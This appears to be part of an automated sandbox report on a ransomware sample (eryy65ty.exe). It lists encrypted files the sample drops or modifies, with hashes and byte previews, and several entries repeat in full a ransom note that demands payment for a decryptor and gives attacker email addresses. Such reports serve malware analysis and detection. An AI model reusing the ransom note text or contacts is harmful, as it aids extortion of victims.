                                                                                                                                        Preview:.....t.a.y..mgu.U.X..W..->..0`.]...hb..\...c..t:.3.!#.........&Gp..Nq2...U....$..U....o....0BI....LW;...J .....8%D ...D..>+$$.^8/....[.5..C!.YQ.....).*..7H.'.P..Z=GM.F...H=x....^...G....SmY$5.y.......1eP...L........G|Nx..X..>.....!......DI.w......0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.221021521974009
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:ZjgvvONOYC4n78UVVsAPd3gDVM5IOo9RrY/yDXJmAEqxWSn:qTYC27FDTP2DaWLrYdvqxtn
                                                                                                                                        MD5:14AEACDC6BFD2DEA436FA055A6EE0C44
                                                                                                                                        SHA1:77A686CEDE668B5468159E4073F779E841C81B0D
                                                                                                                                        SHA-256:9D3BF30EA96205896D5E9B2C40E19FD631CCFFD8F4A19BF42C6F04093161C3BC
                                                                                                                                        SHA-512:60089FE3043E05FD3E1A86475A719DDDD12B22C5FDFBD6005DE944F8369E0902199EE895CC0E1510B502CA559AD15563086695588CC5DF6CE02F1E7B7301E0C0
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:=..v.U..w+....!....}^..../.L..H...6..e&..q..(k...|...+..C[........mh.....w|...aH.s..4..+_.6.Z...G,^.........a......".$.B......../?....`.1q.?.m..H.....R...,.t........pw...7X.R..`Z".Y~.J.[O.....pT....r.f...j......1...&.C=.l.k.3eW.<..T.S.....-._..z0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:PGP Secret Sub-key -
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.21865614421803
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:3myXeIdo8PJtQUsSlcrSsxTLvpUQA1oP4SZgyuX+WWSkSn:3sA3sSleSmTA1ouyuX+1Sn
                                                                                                                                        MD5:45CEF0B411FE5BF24F214D5D75D347A4
                                                                                                                                        SHA1:D7FFE746CFF170A3D66FFD72553224C1560634B3
                                                                                                                                        SHA-256:6E7923C2E8DA9D3B2EBA6F75C2ABA9584AE01528A4977F706B495B24A0EB92F0
                                                                                                                                        SHA-512:7BBD32ACFD6C2AADCAA7E5446A5358D2F4AC15A0174711288D57645EC94C8A6B265FDFA3626CA8ADD323E10C2FC76CBE243BBAACDF0A41EC4D0483BE92543D2C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.....:.a..Qn..5.....Yo)..6H}..]...H....-.7...=..d....bL. .........,.w90..n/._.R...6p..@uq..eR.K!wA..O.wg..\.L........5...e<.)W...Hz,...p5..BT.J..........1..+.bZ.Q2.......|.g.......@....I..^k.<E3.7....7.e...x...k7.......'.0M...^.ivOr...@)\b:0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1125
                                                                                                                                        Entropy (8bit):7.842189557181923
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:A6jeS3HVL0RaDFMoHyu1aRIJQsBqrtaaGLJYEtdHLBsCaNoKA:N0RaDvDm8BstZGL/L69K
                                                                                                                                        MD5:8EFCBC1D4C543DAF7369F981816BB143
                                                                                                                                        SHA1:13F900566ECC29D4F36168B9975516C924E5BD90
                                                                                                                                        SHA-256:A483B07D744A9208035B7CE7273A7E2E68D7BA71D7F74D7735CEBCEE67082836
                                                                                                                                        SHA-512:AB935D1FEBC2B2DFFD954CC29F1E473E129D36B3830ADEC014CAFFDFAA4898D4CCCBC8CF226F784638B2D9168B771866F498760593510A93BB2C5B7F2F1DFA27
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.C....h.z.m...&.(y.........@.K.U8.W.>F...VL..V.D|......".y..r.......1..5...c....c.....[.LU.,...M.|......_&..u[...I.G]...J..R='r..7.V.P.V.vl^$....a;B....].E.1x....,...!!K.V..%...0..h:1.....E..(Z.....!..K.!.......P.C..G.^T.....d.:UH.g...#.{)..1..1O....+"P..(......X....r.H.".x.?.GR....e.;....35....,}Z......X.r..A..,P.D......a.G3.....b.Vz.....H.....e..kH..-~..m.v)....J.T.N....G1..O.~V...#U.Z..g.......J.L......q..&.f....b..0~.9.j.I`...@.4...C.]b.n...I.^...=zd..5.7i..9...7s.....Ov...%A........?+.A ]u.83..!.Z.U.W.b#..G.......iAnW..l\g...2...z....y4.h.....S./...Ju}.E.....5p..\..4>).h......`.m4x.........2....{..mPgV.K...6lk.-.a.....$Y.33l.&....."T....[.Aw..... .....w..X;)2..~.#...}..`.8.;V......0h...%..m)..7".....p....w....D......$G.j.....l..\..h#S..,....%(..d......a2...4.,..<.G..uO.......C...#escription>..../y.\Q.P.....oe.0..g b....'....[. ...-.wM.W..C.OK&r.9m./.&....X.. ...y.5.|.r*K.E...J.....R..../_..U#Gjq.....o.~Ym|.....u.a2..=....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1125
                                                                                                                                        Entropy (8bit):7.842189557181923
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:A6jeS3HVL0RaDFMoHyu1aRIJQsBqrtaaGLJYEtdHLBsCaNoKA:N0RaDvDm8BstZGL/L69K
                                                                                                                                        MD5:8EFCBC1D4C543DAF7369F981816BB143
                                                                                                                                        SHA1:13F900566ECC29D4F36168B9975516C924E5BD90
                                                                                                                                        SHA-256:A483B07D744A9208035B7CE7273A7E2E68D7BA71D7F74D7735CEBCEE67082836
                                                                                                                                        SHA-512:AB935D1FEBC2B2DFFD954CC29F1E473E129D36B3830ADEC014CAFFDFAA4898D4CCCBC8CF226F784638B2D9168B771866F498760593510A93BB2C5B7F2F1DFA27
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.C....h.z.m...&.(y.........@.K.U8.W.>F...VL..V.D|......".y..r.......1..5...c....c.....[.LU.,...M.|......_&..u[...I.G]...J..R='r..7.V.P.V.vl^$....a;B....].E.1x....,...!!K.V..%...0..h:1.....E..(Z.....!..K.!.......P.C..G.^T.....d.:UH.g...#.{)..1..1O....+"P..(......X....r.H.".x.?.GR....e.;....35....,}Z......X.r..A..,P.D......a.G3.....b.Vz.....H.....e..kH..-~..m.v)....J.T.N....G1..O.~V...#U.Z..g.......J.L......q..&.f....b..0~.9.j.I`...@.4...C.]b.n...I.^...=zd..5.7i..9...7s.....Ov...%A........?+.A ]u.83..!.Z.U.W.b#..G.......iAnW..l\g...2...z....y4.h.....S./...Ju}.E.....5p..\..4>).h......`.m4x.........2....{..mPgV.K...6lk.-.a.....$Y.33l.&....."T....[.Aw..... .....w..X;)2..~.#...}..`.8.;V......0h...%..m)..7".....p....w....D......$G.j.....l..\..h#S..,....%(..d......a2...4.,..<.G..uO.......C...#escription>..../y.\Q.P.....oe.0..g b....'....[. ...-.wM.W..C.OK&r.9m./.&....X.. ...y.5.|.r*K.E...J.....R..../_..U#Gjq.....o.~Ym|.....u.a2..=....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:modified
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.150747110517208
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:KSwl/6XX2Yow5atzAAQdjArCyL29TplcOFWv59p9+Bn:K90H98tMNtGPscEWvxUn
                                                                                                                                        MD5:9C6F477CCC975D200847F49CE2D946C7
                                                                                                                                        SHA1:B8896AF56DB3985BC5852AE728CAD7FA592F0D7D
                                                                                                                                        SHA-256:DFDE065D27E8E170F7482D601F6449A314C0E290F2F58015027F3792CE6CFC19
                                                                                                                                        SHA-512:494464437D5CB2189A4662C3AB33792B9432418EBF560522FFE50E3FBFC9C2B1E37F1CDE31F6E658CB1E34204053C66E016CE65E7E5E3F4AE43A88F0E09A6D0A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:o.[;O.l.-7..?a`...........F..Z.55.._D[J..q......N.6..I_..).T.IZ..qv.....0+.N......744+.X.[......L(b..@5J..."L.F.d.P.2.....&../...MT....R)01.]..5...(j......'..wx:......A.DTW..J3}PXM...%Zzv.......p.w1.@o.r. ...........5....I..p6.I..}......)&P.N..!...E~..O$z...x)...l..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.215198683546808
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:FtkZs07B6Btlx3XethlTFqP+ZGBsE+3EJR1b9Hoydn+1a0lO0cIEuHn:kyAatlx3ut3pqGZmLd9b+ydnKdlGIEmn
                                                                                                                                        MD5:C0F27F52861C509FD7AA45A7BA7A1402
                                                                                                                                        SHA1:96A33C8EA92651187915AEB346A598C4CDEC129C
                                                                                                                                        SHA-256:B839E710585963F2D47C6232511F7FB3C7E840097CE8F9B02BF8C35299856811
                                                                                                                                        SHA-512:BDB85DFF07DFC1B617C3628CB9A84D7750CE438E0BC42558B2A9C11F9E1C6C134D96CD8ECEBA5A3ED1D4A02848558F77428F963B898D2D51741B370751F86614
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:'.*.?.........:8..c...<a.....'&f..%........3...\..,... .W7g}...DDG.H.'_.BL.#{...W.Z....r-..V.b.[.r........p......r!.....3.9.....3./...z.d..[.C...S1wq,rJ...o.T.jXm.<..(1#..k......Nv..x.p.R........<.."..OL.-..^&.!)/+..+..9......&..w%.x.G..M...p0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.176599411106399
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:MDekVA1pfSjnk3F9D/WtSqFyv+3QQzRpaY/K9K3uLe52tnn:MakVAbz/Nv+3Dby9m/2Jn
                                                                                                                                        MD5:1F6EBE6BEC06D07C1D8C02C8A0839E30
                                                                                                                                        SHA1:D4117D2BDAF58EC618645C16C57314185066C0CA
                                                                                                                                        SHA-256:A3B4F8E047400333AEACCBFD5FE236C1BC6749E84E42F9DFF40226F61088ABD0
                                                                                                                                        SHA-512:3B8C00EE2F6F658F48E9C4C7350AF7C2888B79E09414FEC66F2AE22C53E010B178BFFA2366A5D902275E8BF55092DA8B69ED73B6657D29A684ED13199DBDCEF4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.SB).p.....Gz............<.w8...X..+v.:F..6N..]".y.A.n.xI....</z...=q.9.}..[#......,.c.71}&..Q.dR....._..A.g7O...%a..:..M......!.4..B:.J..Dh......A..$.....Lw..[P.[MH.Zq9..=...`cuEL\.%L.*.......hE2.."!{o.51.............L6....T...Rl..y;...K.....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.13201937144503
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:XlU7TFvzYQfFiMATU46THSKUD6Zp95GZzTcdmn:XlUfFvznAMAT1sCCpiDn
                                                                                                                                        MD5:45D5CD38BB88BEAE331C0FFB52FEB6BB
                                                                                                                                        SHA1:3C676F769FB56BEF00075FB04312291AEC280DCE
                                                                                                                                        SHA-256:4E5852BEC2723140BEC4AA6497D98D25FBCE10B60B6958C67EC249DB7A05D22C
                                                                                                                                        SHA-512:C51EED24AD273566DD854FB690F19B9F387D1FCD15FF74C5A48A5CA9C040266F584663E1B71582F899489E2C42EDC8E82C60597E2305B2C30231CC9782685520
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:k..0.....4.>.>.....*..*.4#.......F.....mgA...~...2..(...."..(J...6\......1.....m+...0.../.;....3....p]......ks...;.Zdt..=.V....qP.Vj.g.6..C.b.W.}...OK..".....kW....\...n'.....s8!....WO.?.....W.....*.r..!. ?...9A\%..x..~......C.|........7.e....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.103508811574828
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:i1sn8IzmXmBbFgFeixLDiO/V/t1Wy3j1hrJulgWbDhPn:Pnnq21iN/iO9vH3phduiW3xn
                                                                                                                                        MD5:EFF677512740EEE196BFA89764E48CFA
                                                                                                                                        SHA1:D5AF676FFE1289BCA5FF0100E1CE9F7293CF8117
                                                                                                                                        SHA-256:974B33E7A6015B7E70BE0850EBFB740C3162D446197F293E7B42FBC64A0C15AF
                                                                                                                                        SHA-512:42069F4C57B5A8C3E36FEE27298820E6682D99B053D7A5E68B9B35771E4028F1F065691193A7C238F711F7277077AE3118E9054880BD03100B2025AB741FAB92
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:]mcc...s...-Rh.q."..`..,....;.....[.h......;......5..:....^.....c..?.;.S<.X.$~...sU.9.....i...D-..3.#.M.=...+j.].\........G...8S.~A..hq...*iR..*..-..n..ZY..".B....~49..Z.&.s...n......TuO....>xRHmkVW...h..Q.[V.Bzo.....].!.G.......d.....R.... .9.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.160348719389731
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:Uy+uQav6cTCTZ6e6AdfMdPJQwgSATPRFf3zBBoPeJY2n:UyDQaNTCVD3fyB8SAzBBoPeu2n
                                                                                                                                        MD5:C36E9B5E6660D005F302B9CE2C946971
                                                                                                                                        SHA1:989E69D9192777689571129714C022A8E242896A
                                                                                                                                        SHA-256:0B55C706B277E9368CEE339B78104AFE20DC6EEA57317F2F2A06B98FF1F90C71
                                                                                                                                        SHA-512:5ABEDB41725D007A0882EAFB205BD2EAAF223E25718C52C837736791977DAD6D5710DFD4393ACF602998518D77BAC2990CDB1F13A0619064FB9F465D657D2C81
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..S.../.wM..FZ..Q!".'...8.a...........Q..}x.V......@g..Q..FJ-....#.<..Y..........M..a......S0..?~E{.f....m..8Rg...K..}8|Xv..9....8..........X.........k...T?....z.......^...%q..]b....q.6\$..{#.K..].G.,.q-\....0i.FkB2q.T......f....Z..3....M.[.....1.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:modified
                                                                                                                                        Size (bytes):266
                                                                                                                                        Entropy (8bit):7.118073860375307
                                                                                                                                        Encrypted:false
